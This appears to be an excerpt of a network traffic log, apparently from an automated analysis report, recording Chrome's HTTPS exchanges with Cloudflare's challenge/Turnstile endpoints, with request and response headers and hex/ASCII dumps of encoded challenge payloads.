2025-01-09 03:28:40 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 06 00 00 00 01 08 02 00 00 00 72 ab 48 a7 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRrHIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49763	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:40 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32383 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:40 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 31 35 36 38 65 61 63 61 33 34 32 64 62 3d 75 6d 48 33 39 46 25 32 62 6b 24 46 24 6c 48 6c 56 2b 32 4e 48 33 54 6d 6e 36 46 42 2b 45 69 2d 33 2b 48 6c 74 42 69 24 33 56 4f 6c 54 69 41 46 69 6c 72 6f 6c 46 69 68 33 48 6d 69 74 32 48 4c 69 73 49 72 55 2b 48 69 65 58 33 46 46 69 2b 61 33 6a 2b 69 78 72 46 63 36 33 45 63 6f 69 67 4e 2b 24 42 69 43 48 2d 6f 2b 6c 69 6e 4d 55 6a 57 2d 2b 57 7a 63 69 6f 4c 33 56 69 54 63 63 4e 56 2b 79 44 69 2b 79 38 69 54 50 48 69 77 69 2b 78 46 69 42 4f 66 45 77 33 69 51 4e 33 46 54 45 35 6c 33 36 56 4d 38 69 54 4d 71 67 35 44 32 69 30 75 72 70 4e 64 77 69 69 31 2b 69 69 6b 5a 6f 49 6d 6b 73 72 72 44 63 49 6d 57 55 51 41 56 43 48 2b 75 69 32 4a 38 38 47 63 63 32 79 42 56 37 59 66 66 74 32 43 45 62 47 43 72 43 24 Data Ascii: v_8ff1568eaca342db=umH39F%2bk$F$lHlV+2NH3Tmn6FB+Ei-3+HltBi$3VOlTiAFilrolFih3Hmit2HLisIrU+HieX3FFi+a3j+ixrFc63EcoigN+$BiCH-o+linMUjW-+WzcioL3ViTccNV+yDi+y8iTPHiwi+xFiBOfEw3iQN3FTE5l36VM8iTMqg5D2i0urpNdwii1+iikZoImksrrDcImWUQAVCH+ui2J88Gcc2yBV7Yfft2CEbGCrC$
2025-01-09 03:28:40 UTC	15999	OUT	Data Raw: 70 4b 4e 4b 59 69 54 78 4e 33 46 48 69 57 69 35 33 4a 69 54 46 69 46 6c 47 69 41 59 69 45 74 6f 6d 39 4f 69 55 49 6f 2b 54 69 67 33 6c 6d 2b 34 24 44 72 6e 44 2b 41 69 30 72 44 6f 69 4e 69 7a 72 6c 57 69 75 69 62 49 42 56 69 41 69 63 69 6e 56 69 72 69 63 4f 2b 36 2b 77 4f 6e 33 6e 64 33 37 4b 78 56 44 4b 5a 59 69 67 33 6e 72 2b 55 4f 6b 6b 69 46 2b 68 5a 77 2d 77 59 69 6b 33 6f 72 30 46 62 72 69 5a 33 46 6d 2b 73 69 42 69 45 63 75 62 69 42 72 30 59 69 76 69 62 72 2b 57 69 79 4f 46 33 6e 6e 69 57 69 6d 4f 4e 56 69 56 69 4f 76 70 49 69 66 68 41 2d 69 59 69 36 4e 42 4f 44 36 69 6c 33 78 56 4e 50 66 78 69 7a 46 4e 57 69 39 24 54 57 46 4f 2b 6a 69 6b 35 4e 37 66 72 24 64 4c 6e 38 35 70 33 34 66 2b 57 6c 62 69 59 69 30 37 79 72 33 4d 69 44 36 2b 41 69 4a 72 56 Data Ascii: pKNKYiTxN3FHiWi53JiTFiFlGiAYiEtom9OiUIo+Tig3lm+4$DrnD+Ai0rDoiNizrlWiuibIBViAicinViricO+6+wOn3nd37KxVDKZYig3nr+UOkkiF+hZw-wYik3or0FbriZ3Fm+siBiEcubiBr0Yivibr+WiyOF3nniWimONViViOvpIifhA-iYi6NBOD6il3xVNPfxizFNWi9$TWFO+jik5N7fr$dLn85p34f+WlbiYi07yr3MiD6+AiJrV
2025-01-09 03:28:41 UTC	318	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:41 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26280 Connection: close cf-chl-gen: QoP8NIdUfWALNu/+UejQXgiCEZ337nlyhZfP85u6egXhFEcFq4afgSqvCSrpX+Z1UmE=$qeLXmE9+eZa+QIZ1 Server: cloudflare CF-RAY: 8ff156b06efd18fa-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:41 UTC	1051	IN	Data Raw: 6e 72 4f 2b 6b 70 79 63 68 70 6d 54 6f 59 61 62 69 38 2b 34 6a 5a 72 4f 6b 37 4f 74 6a 61 43 33 73 5a 48 53 71 72 71 56 79 65 43 30 33 38 53 66 31 4e 76 6f 77 2b 4c 6a 78 72 33 74 77 61 2b 70 33 4b 33 55 38 50 4c 77 35 4d 50 79 35 4e 6d 38 2f 64 43 37 75 65 7a 34 35 4d 45 46 32 76 4f 36 42 75 6e 73 78 50 77 45 42 51 6b 52 44 52 55 4a 31 50 58 34 7a 77 6b 51 48 51 73 64 38 66 6f 57 32 78 44 30 33 52 44 68 43 65 66 6b 36 66 6f 6a 36 53 6f 78 4d 52 30 6f 42 67 4d 67 43 67 37 34 4d 7a 58 35 44 6a 30 6f 2b 52 41 37 4b 77 44 39 4d 43 63 70 42 55 52 45 48 67 30 46 4a 69 46 47 55 43 41 4d 51 56 4e 41 4c 46 46 43 4d 6c 49 6e 4b 42 31 62 57 30 74 45 54 54 6c 6c 59 44 45 66 57 57 46 59 4f 56 78 50 57 45 64 69 61 57 64 32 63 58 52 42 61 56 68 59 55 31 42 64 54 54 35 Data Ascii: nrO+kpychpmToYabi8+4jZrOk7OtjaC3sZHSqrqVyeC038Sf1Nvow+Ljxr3twa+p3K3U8PLw5MPy5Nm8/dC7uez45MEF2vO6BunsxPwEBQkRDRUJ1PX4zwkQHQsd8foW2xD03RDhCefk6foj6SoxMR0oBgMgCg74MzX5Dj0o+RA7KwD9MCcpBUREHg0FJiFGUCAMQVNALFFCMlInKB1bW0tETTllYDEfWWFYOVxPWEdiaWd2cXRBaVhYU1BdTT5
2025-01-09 03:28:41 UTC	1369	IN	Data Raw: 74 79 5a 4b 6e 79 38 36 55 71 4a 6d 62 75 35 76 50 6f 4c 4c 46 34 72 4f 6c 75 2b 6e 43 77 37 76 76 78 2f 43 79 33 38 62 6f 79 39 58 45 38 2f 58 76 7a 63 66 50 33 74 50 79 75 73 44 58 77 73 63 49 35 51 7a 6e 34 51 76 64 37 4d 66 36 32 2b 7a 78 46 78 58 6f 79 67 62 71 34 2b 51 4f 37 42 77 57 47 51 73 62 4a 76 72 78 2f 43 59 5a 34 53 44 69 49 78 63 64 4b 77 38 54 4d 69 34 73 4a 2f 62 76 4c 42 59 49 38 77 63 77 2b 6b 45 54 47 7a 59 44 4e 2f 34 56 53 68 38 6a 42 55 77 71 42 7a 45 6e 4b 43 4a 4a 56 69 52 4b 4f 54 49 6e 54 6c 52 4a 4c 52 35 64 4e 52 74 55 4d 57 56 6c 55 6d 6c 42 49 44 6c 44 56 7a 59 6d 54 6d 34 79 62 47 39 4e 58 6c 39 55 4c 30 70 4e 4c 6e 42 73 66 31 4a 73 51 46 64 53 57 55 4a 76 50 34 6d 47 66 6b 5a 6d 64 30 78 51 68 59 4a 77 63 4a 53 58 56 5a Data Ascii: tyZKny86UqJmbu5vPoLLF4rOlu+nCw7vvx/Cy38boy9XE8/XvzcfP3tPyusDXwscI5Qzn4Qvd7Mf62+zxFxXoygbq4+QO7BwWGQsbJvrx/CYZ4SDiIxcdKw8TMi4sJ/bvLBYI8wcw+kETGzYDN/4VSh8jBUwqBzEnKCJJViRKOTInTlRJLR5dNRtUMWVlUmlBIDlDVzYmTm4ybG9NXl9UL0pNLnBsf1JsQFdSWUJvP4mGfkZmd0xQhYJwcJSXVZ
2025-01-09 03:28:41 UTC	1369	IN	Data Raw: 73 62 2b 36 73 4a 79 69 78 75 54 58 78 2b 54 4c 76 2b 75 72 32 50 44 68 78 4d 65 6c 38 73 6a 66 79 75 54 59 36 66 66 6c 33 66 62 65 36 73 33 71 77 74 7a 53 77 41 69 2b 41 66 49 4b 41 77 55 45 35 64 76 76 78 4e 37 75 43 4f 30 4b 44 2b 37 53 35 66 54 75 37 68 6e 61 38 76 33 67 46 66 50 69 33 53 49 55 4a 2b 58 70 34 79 73 71 43 43 55 54 4d 67 34 6e 4a 44 50 34 41 68 73 58 46 2f 31 41 51 42 49 31 44 44 67 6b 45 43 63 2f 47 78 4d 43 48 42 34 45 4a 53 4d 67 4a 41 6c 49 44 43 78 41 4c 6b 38 58 52 31 42 4f 52 6a 31 57 55 54 52 4f 5a 56 56 6c 5a 32 59 6c 5a 54 5a 67 4a 6b 38 6f 54 47 52 45 58 31 42 66 4d 58 46 69 63 6c 56 36 57 33 35 32 65 58 6b 34 50 33 55 32 65 30 4a 2b 52 45 55 38 61 48 68 73 51 49 39 51 6a 46 70 2b 52 6d 65 4b 67 46 56 6b 62 31 6c 30 65 58 6c Data Ascii: sb+6sJyixuTXx+TLv+ur2PDhxMel8sjfyuTY6ffl3fbe6s3qwtzSwAi+AfIKAwUE5dvvxN7uCO0KD+7S5fTu7hna8v3gFfPi3SIUJ+Xp4ysqCCUTMg4nJDP4AhsXF/1AQBI1DDgkECc/GxMCHB4EJSMgJAlIDCxALk8XR1BORj1WUTROZVVlZ2YlZTZgJk8oTGREX1BfMXFiclV6W352eXk4P3U2e0J+REU8aHhsQI9QjFp+RmeKgFVkb1l0eXl
2025-01-09 03:28:41 UTC	1369	IN	Data Raw: 4e 71 34 32 37 7a 66 76 61 53 34 34 63 4c 4e 76 4f 58 48 30 63 44 70 78 4f 7a 45 2b 66 6a 63 37 63 2f 52 31 4f 2b 2b 34 38 50 7a 2b 66 76 46 39 66 50 31 42 41 58 48 42 67 62 4d 7a 77 7a 4d 42 74 4c 6c 36 77 62 59 32 39 7a 6c 2b 76 44 71 36 66 45 67 32 67 4d 56 41 76 59 68 47 50 34 62 39 65 41 67 4b 41 67 75 44 50 4c 31 43 53 59 43 38 78 45 6c 50 68 59 4b 44 7a 77 41 41 6b 44 36 41 55 54 35 4a 78 67 43 4a 68 74 45 47 31 46 42 52 52 30 4f 4c 68 38 54 4c 68 56 53 44 55 73 76 4d 54 45 64 4e 31 4d 35 5a 44 73 35 54 7a 42 69 4f 53 5a 49 50 6a 5a 72 57 6d 78 48 63 6b 67 74 53 57 70 79 62 45 6c 78 64 6b 70 47 53 6c 42 66 56 48 4d 37 51 56 68 44 53 49 68 6d 6a 47 68 69 67 49 42 5a 6b 48 36 54 69 34 70 52 63 6e 6c 57 67 33 5a 59 5a 6e 2b 62 65 6e 75 51 6c 56 31 6a Data Ascii: Nq427zfvaS44cLNvOXH0cDpxOzE+fjc7c/R1O++48Pz+fvF9fP1BAXHBgbMzwzMBtLl6wbY29zl+vDq6fEg2gMVAvYhGP4b9eAgKAguDPL1CSYC8xElPhYKDzwAAkD6AUT5JxgCJhtEG1FBRR0OLh8TLhVSDUsvMTEdN1M5ZDs5TzBiOSZIPjZrWmxHckgtSWpybElxdkpGSlBfVHM7QVhDSIhmjGhigIBZkH6Ti4pRcnlWg3ZYZn+benuQlV1j
2025-01-09 03:28:41 UTC	1369	IN	Data Raw: 54 4f 7a 37 2b 37 30 73 58 42 33 75 36 76 71 66 4f 7a 38 73 6a 70 7a 65 32 31 37 64 43 37 31 50 4c 56 41 39 54 70 2b 66 67 45 7a 4d 33 76 32 2b 6b 44 2f 4f 50 64 78 38 6a 51 2b 4e 6b 44 47 77 38 47 44 68 50 64 47 41 73 6b 2b 77 48 68 49 2b 59 6d 39 65 73 62 4b 52 6a 6d 37 68 45 47 44 69 30 70 41 41 34 59 45 2f 63 36 4d 7a 34 50 2b 51 6b 32 47 44 42 47 4f 50 30 6e 47 42 4d 72 52 52 30 38 53 55 45 65 51 53 49 4c 4a 51 78 45 46 77 74 49 57 53 67 71 46 45 67 53 4c 6d 41 36 4a 44 56 54 4e 30 49 70 61 53 45 70 4f 31 73 6d 53 6a 70 4a 61 55 63 39 55 48 46 42 4c 30 52 48 58 44 4e 72 64 57 46 51 54 49 52 41 55 34 52 62 63 56 46 55 59 32 56 66 52 46 2b 4a 57 6f 4a 6e 67 31 53 45 69 58 68 4c 63 59 68 63 61 35 31 72 6a 56 64 37 62 32 78 32 70 57 61 45 65 32 43 47 5a Data Ascii: TOz7+70sXB3u6vqfOz8sjpze217dC71PLVA9Tp+fgEzM3v2+kD/OPdx8jQ+NkDGw8GDhPdGAsk+wHhI+Ym9esbKRjm7hEGDi0pAA4YE/c6Mz4P+Qk2GDBGOP0nGBMrRR08SUEeQSILJQxEFwtIWSgqFEgSLmA6JDVTN0IpaSEpO1smSjpJaUc9UHFBL0RHXDNrdWFQTIRAU4RbcVFUY2VfRF+JWoJng1SEiXhLcYhca51rjVd7b2x2pWaEe2CGZ
2025-01-09 03:28:41 UTC	1369	IN	Data Raw: 65 35 4c 4c 65 38 65 72 61 78 4e 72 59 7a 75 37 35 38 62 79 36 77 66 62 38 2b 67 4c 30 78 4c 7a 70 41 4f 72 67 41 4f 7a 76 36 2b 33 38 38 78 59 4e 39 78 4c 72 2b 2f 72 72 48 68 67 43 46 76 4d 53 47 78 6e 59 48 67 58 68 34 2f 34 6b 4a 69 38 4a 49 77 4d 65 44 43 6b 49 4e 77 38 71 47 54 63 57 4d 53 59 2b 2f 54 4c 39 4b 79 45 68 50 68 67 32 4b 52 67 36 4a 44 55 63 48 54 77 35 4d 43 42 4f 4d 53 51 34 52 7a 55 34 4e 44 5a 56 4b 7a 52 4c 55 52 39 4c 58 6c 64 48 4d 55 64 46 4f 31 74 6d 58 69 6b 6e 4c 6d 4e 70 5a 32 35 68 4d 53 6c 57 62 46 64 4d 64 6d 5a 4d 5a 32 78 33 64 6b 78 79 62 57 53 47 59 57 53 43 65 6d 64 73 62 6f 75 45 69 6d 4e 68 62 49 68 4f 59 58 69 53 61 6b 31 78 69 56 70 78 67 5a 70 78 6e 33 75 59 6e 59 53 43 6b 58 69 6d 6a 4b 4f 69 65 4a 36 5a 66 33 Data Ascii: e5LLe8eraxNrYzu758by6wfb8+gL0xLzpAOrgAOzv6+388xYN9xLr+/rrHhgCFvMSGxnYHgXh4/4kJi8JIwMeDCkINw8qGTcWMSY+/TL9KyEhPhg2KRg6JDUcHTw5MCBOMSQ4RzU4NDZVKzRLUR9LXldHMUdFO1tmXiknLmNpZ25hMSlWbFdMdmZMZ2x3dkxybWSGYWSCemdsbouEimNhbIhOYXiSak1xiVpxgZpxn3uYnYSCkXimjKOieJ6Zf3
2025-01-09 03:28:41 UTC	1369	IN	Data Raw: 78 2f 4c 58 38 66 48 31 34 4e 2f 66 2b 75 54 35 41 76 7a 77 2f 51 4c 68 39 4f 76 62 41 50 6a 66 41 67 72 38 38 77 34 4c 41 66 58 57 46 67 58 37 43 68 55 4a 46 69 49 61 44 64 34 45 49 41 51 65 4b 69 41 4f 44 42 34 66 45 68 41 69 4c 42 33 75 49 67 34 69 43 43 59 31 4a 54 49 67 4d 43 49 67 45 44 34 74 49 67 4e 43 4b 54 35 4b 52 44 55 48 52 6b 6f 79 52 6b 5a 4c 4d 45 70 53 55 6a 6f 34 4b 46 46 46 46 31 5a 51 53 56 5a 61 4f 6b 30 66 59 6c 78 4b 53 46 5a 69 54 6d 4a 61 5a 56 6c 4f 4c 32 31 57 56 47 70 75 59 57 35 71 62 31 31 79 63 6e 56 63 64 6e 35 36 62 58 70 2b 67 57 70 6f 69 6e 78 31 67 6e 42 6d 63 6f 61 4b 67 33 61 4b 64 49 32 42 65 47 69 55 66 58 70 62 6d 6f 4a 62 67 4a 69 4f 64 4b 4b 68 69 70 36 4d 67 6f 36 69 71 71 69 61 67 4c 4b 70 6c 6d 2b 79 72 4a 53 Data Ascii: x/LX8fH14N/f+uT5Avzw/QLh9OvbAPjfAgr88w4LAfXWFgX7ChUJFiIaDd4EIAQeKiAODB4fEhAiLB3uIg4iCCY1JTIgMCIgED4tIgNCKT5KRDUHRkoyRkZLMEpSUjo4KFFFF1ZQSVZaOk0fYlxKSFZiTmJaZVlOL21WVGpuYW5qb11ycnVcdn56bXp+gWpoinx1gnBmcoaKg3aKdI2BeGiUfXpbmoJbgJiOdKKhip6Mgo6iqqiagLKplm+yrJS
2025-01-09 03:28:41 UTC	1369	IN	Data Raw: 72 76 78 77 2b 44 68 77 67 62 6e 36 50 58 68 39 74 72 48 43 65 77 48 32 2b 6e 39 34 75 54 66 45 64 48 72 47 76 63 53 45 68 6e 38 41 75 77 64 41 52 76 76 2f 52 4c 33 4b 67 55 49 4a 43 59 62 4b 76 34 45 4d 68 41 72 42 42 67 6a 4d 41 51 57 4a 78 73 75 2b 53 38 52 4c 69 51 76 4f 52 51 68 4a 44 38 55 4e 7a 59 71 43 30 73 77 4d 41 38 71 50 6b 6b 50 57 54 52 50 4d 45 64 57 4b 7a 41 58 50 46 59 6a 50 55 42 62 51 46 4e 54 52 69 64 72 54 45 31 41 52 6c 74 6c 4b 79 35 51 61 32 4a 6a 63 6b 64 4d 65 56 68 30 64 6c 6c 32 59 58 39 50 62 58 73 2f 63 34 4a 58 58 45 5a 6f 67 34 74 62 65 59 64 4c 62 58 43 4c 6b 32 4f 42 65 56 4f 48 6c 6d 74 77 6f 48 79 58 6e 32 2b 4e 68 56 2b 42 68 4a 2b 6e 64 35 5a 39 5a 35 75 71 66 34 53 7a 6b 4b 75 7a 67 36 4b 4a 63 35 57 59 73 37 75 4c Data Ascii: rvxw+Dhwgbn6PXh9trHCewH2+n94uTfEdHrGvcSEhn8AuwdARvv/RL3KgUIJCYbKv4EMhArBBgjMAQWJxsu+S8RLiQvORQhJD8UNzYqC0swMA8qPkkPWTRPMEdWKzAXPFYjPUBbQFNTRidrTE1ARltlKy5Qa2JjckdMeVh0dll2YX9PbXs/c4JXXEZog4tbeYdLbXCLk2OBeVOHlmtwoHyXn2+NhV+BhJ+nd5Z9Z5uqf4SzkKuzg6KJc5WYs7uL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49769	104.18.94.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:41 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:41 UTC	379	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 03:28:41 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 6cocBRO6ZaG6ySWRVeps1lAARUJTHr881gc=$hOiEkHmDBumPrjU5 Server: cloudflare CF-RAY: 8ff156b5d9e30f6f-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:41 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49828	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:50 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1841493557:1736389842:pB4s7u0wqpZFW7tcd-C2AhvV7grUnI6cdD9HQVBEQaU/8ff1568eaca342db/bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34771 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: bAYp9OaNGE9eFw.LBpuj4fjwBScjjr1R6Wa2KLEL1ac-1736393315-1.1.1.1-4PtztNUheHgsBzttiRAftBKAqFOrB0gowvOiT54mWcrdNUOtC7qigNJEGLColiBD sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:50 UTC	16384	OUT	Data Raw: 76 5f 38 66 66 31 35 36 38 65 61 63 61 33 34 32 64 62 3d 75 6d 48 33 39 46 25 32 62 6b 24 46 24 6c 48 6c 56 2b 32 4e 48 33 54 6d 6e 36 46 42 2b 45 69 2d 33 2b 48 6c 74 42 69 24 33 56 4f 6c 54 69 41 46 69 6c 72 6f 6c 46 69 68 33 48 6d 69 74 32 48 4c 69 73 49 72 55 2b 48 69 65 58 33 46 46 69 2b 61 33 6a 2b 69 78 72 46 63 36 33 45 63 6f 69 67 4e 2b 24 42 69 43 48 2d 6f 2b 6c 69 6e 4d 55 6a 57 2d 2b 57 7a 63 69 6f 4c 33 56 69 54 63 63 4e 56 2b 79 44 69 2b 79 38 69 54 50 48 69 77 69 2b 78 46 69 42 4f 66 45 77 33 69 51 4e 33 46 54 45 35 6c 33 36 56 4d 38 69 54 4d 71 67 35 44 32 69 30 75 72 70 4e 64 77 69 69 31 2b 69 69 6b 5a 6f 49 6d 6b 73 72 72 44 63 49 6d 57 55 51 41 56 43 48 2b 75 69 32 4a 38 38 47 63 63 32 79 42 56 37 59 66 66 74 32 43 45 62 47 43 72 43 24 Data Ascii: v_8ff1568eaca342db=umH39F%2bk$F$lHlV+2NH3Tmn6FB+Ei-3+HltBi$3VOlTiAFilrolFih3Hmit2HLisIrU+HieX3FFi+a3j+ixrFc63EcoigN+$BiCH-o+linMUjW-+WzcioL3ViTccNV+yDi+y8iTPHiwi+xFiBOfEw3iQN3FTE5l36VM8iTMqg5D2i0urpNdwii1+iikZoImksrrDcImWUQAVCH+ui2J88Gcc2yBV7Yfft2CEbGCrC$
2025-01-09 03:28:50 UTC	16384	OUT	Data Raw: 70 4b 4e 4b 59 69 54 78 4e 33 46 48 69 57 69 35 33 4a 69 54 46 69 46 6c 47 69 41 59 69 45 74 6f 6d 39 4f 69 55 49 6f 2b 54 69 67 33 6c 6d 2b 34 24 44 72 6e 44 2b 41 69 30 72 44 6f 69 4e 69 7a 72 6c 57 69 75 69 62 49 42 56 69 41 69 63 69 6e 56 69 72 69 63 4f 2b 36 2b 77 4f 6e 33 6e 64 33 37 4b 78 56 44 4b 5a 59 69 67 33 6e 72 2b 55 4f 6b 6b 69 46 2b 68 5a 77 2d 77 59 69 6b 33 6f 72 30 46 62 72 69 5a 33 46 6d 2b 73 69 42 69 45 63 75 62 69 42 72 30 59 69 76 69 62 72 2b 57 69 79 4f 46 33 6e 6e 69 57 69 6d 4f 4e 56 69 56 69 4f 76 70 49 69 66 68 41 2d 69 59 69 36 4e 42 4f 44 36 69 6c 33 78 56 4e 50 66 78 69 7a 46 4e 57 69 39 24 54 57 46 4f 2b 6a 69 6b 35 4e 37 66 72 24 64 4c 6e 38 35 70 33 34 66 2b 57 6c 62 69 59 69 30 37 79 72 33 4d 69 44 36 2b 41 69 4a 72 56 Data Ascii: pKNKYiTxN3FHiWi53JiTFiFlGiAYiEtom9OiUIo+Tig3lm+4$DrnD+Ai0rDoiNizrlWiuibIBViAicinViricO+6+wOn3nd37KxVDKZYig3nr+UOkkiF+hZw-wYik3or0FbriZ3Fm+siBiEcubiBr0Yivibr+WiyOF3nniWimONViViOvpIifhA-iYi6NBOD6il3xVNPfxizFNWi9$TWFO+jik5N7fr$dLn85p34f+WlbiYi07yr3MiD6+AiJrV
2025-01-09 03:28:50 UTC	2003	OUT	Data Raw: 69 46 56 55 31 4a 50 2b 52 57 35 68 61 4e 2b 59 48 6e 79 75 76 76 30 2d 58 63 66 71 4f 67 69 47 72 35 67 68 45 69 4a 72 6c 4a 51 66 35 2d 57 79 4f 69 75 24 69 6d 44 72 63 79 69 72 4a 64 59 2b 76 73 6d 72 69 43 46 37 68 54 69 6e 65 69 6c 69 34 72 6c 50 2b 24 33 49 33 30 68 33 6f 69 67 56 32 4c 63 5a 33 4a 72 47 7a 42 77 78 58 43 57 56 61 50 69 57 6f 4a 50 69 43 7a 24 4d 44 55 41 67 72 47 50 6c 30 4f 77 46 31 4f 6c 70 4c 63 69 7a 32 24 6f 24 4f 69 48 47 44 63 32 56 4f 31 72 6c 50 70 4d 2d 74 4c 6c 39 58 75 48 57 34 71 46 69 32 74 61 68 4c 44 69 5a 74 43 69 30 73 43 4c 72 2b 74 6c 6d 69 6d 69 57 48 44 6e 48 6b 33 4a 72 44 6c 2d 61 36 78 61 4a 6b 78 69 33 57 61 56 5a 41 66 69 54 77 4a 48 69 61 36 6e 4e 48 56 32 54 69 6f 6d 6c 61 7a 74 32 70 4e 54 52 2d 45 63 Data Ascii: iFVU1JP+RW5haN+YHnyuvv0-XcfqOgiGr5ghEiJrlJQf5-WyOiu$imDrcyirJdY+vsmriCF7hTineili4rlP+$3I30h3oigV2LcZ3JrGzBwxXCWVaPiWoJPiCz$MDUAgrGPl0OwF1OlpLciz2$o$OiHGDc2VO1rlPpM-tLl9XuHW4qFi2tahLDiZtCi0sCLr+tlmimiWHDnHk3JrDl-a6xaJkxi3WaVZAfiTwJHia6nNHV2Tiomlazt2pNTR-Ec
2025-01-09 03:28:50 UTC	1361	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4624 Connection: close cf-chl-out-s: xy0O+CYHIujt4MP4ssvliEx3BdSIpp3n+dJBc4H3tZMucbbgu1qXlaEX4/1CDsIxKvqBGIDndqome/do4sg6NFwbahwrLofE1BmlKMTdBG+g5fn1QofAMZXSm8uLDOoeO0cVJTfTY+l7a9AmPBIwwBfhfnOBgY+e40sUeEqgAl1brHTwvUr3Uki6o9JaY9V0mWbSPF5/2P2EzmuwOq/KF1VICLrJLCwRjshVkamQN2EtU+gxDLmyRwW0O0gOf2BckJcKHIuK4MpMZSbamcNV3WEbsRyE1WSCILnRHBHVHSrt6h0ll/fCgtjjldmsBz8Yijs/GktfNaibdJEYxaLe/ndLDMR1Lg0bO31EqQq+vcbBCvF+d3YDC7dmfZ6j1REmXhiVvyyGq11hL4vo5E0F4st/ra0aTzxmsWsdMO7eF1rsn9ovWEaXf+PDltbxt+kTueQILwXGNPRXQO67YUa3MWzUm6Jr71VFcJ4DRPt0pxOi3kdntyTmFB5yN4Ok2Hf+jpnKD4t9CxD60PoEuTHT1r8K7IBseB2UOYSOhYaXDuQWAQQcucPVG/9Uv7mu4OrQ+VV2+nX3ZcggEXt91UB20EGPElCepwRxL9S3heUip/Wc2rtP+YLa16fFuez7wE/upAvY79oJJGBlWGHJe7uzHk6PBc06yQfWNaRZ1xPzyCnMZhrXN4Cwqu53B3poXWL9yM7K0elU8ehh8z/3uCjwXFsUmkUTRkg7GvfFI3izFAjIdTeRKjNFZ3I2jjAgBoTM9aFlEGLwvOkHN9DRH68YnsxTX06/TFTYI2J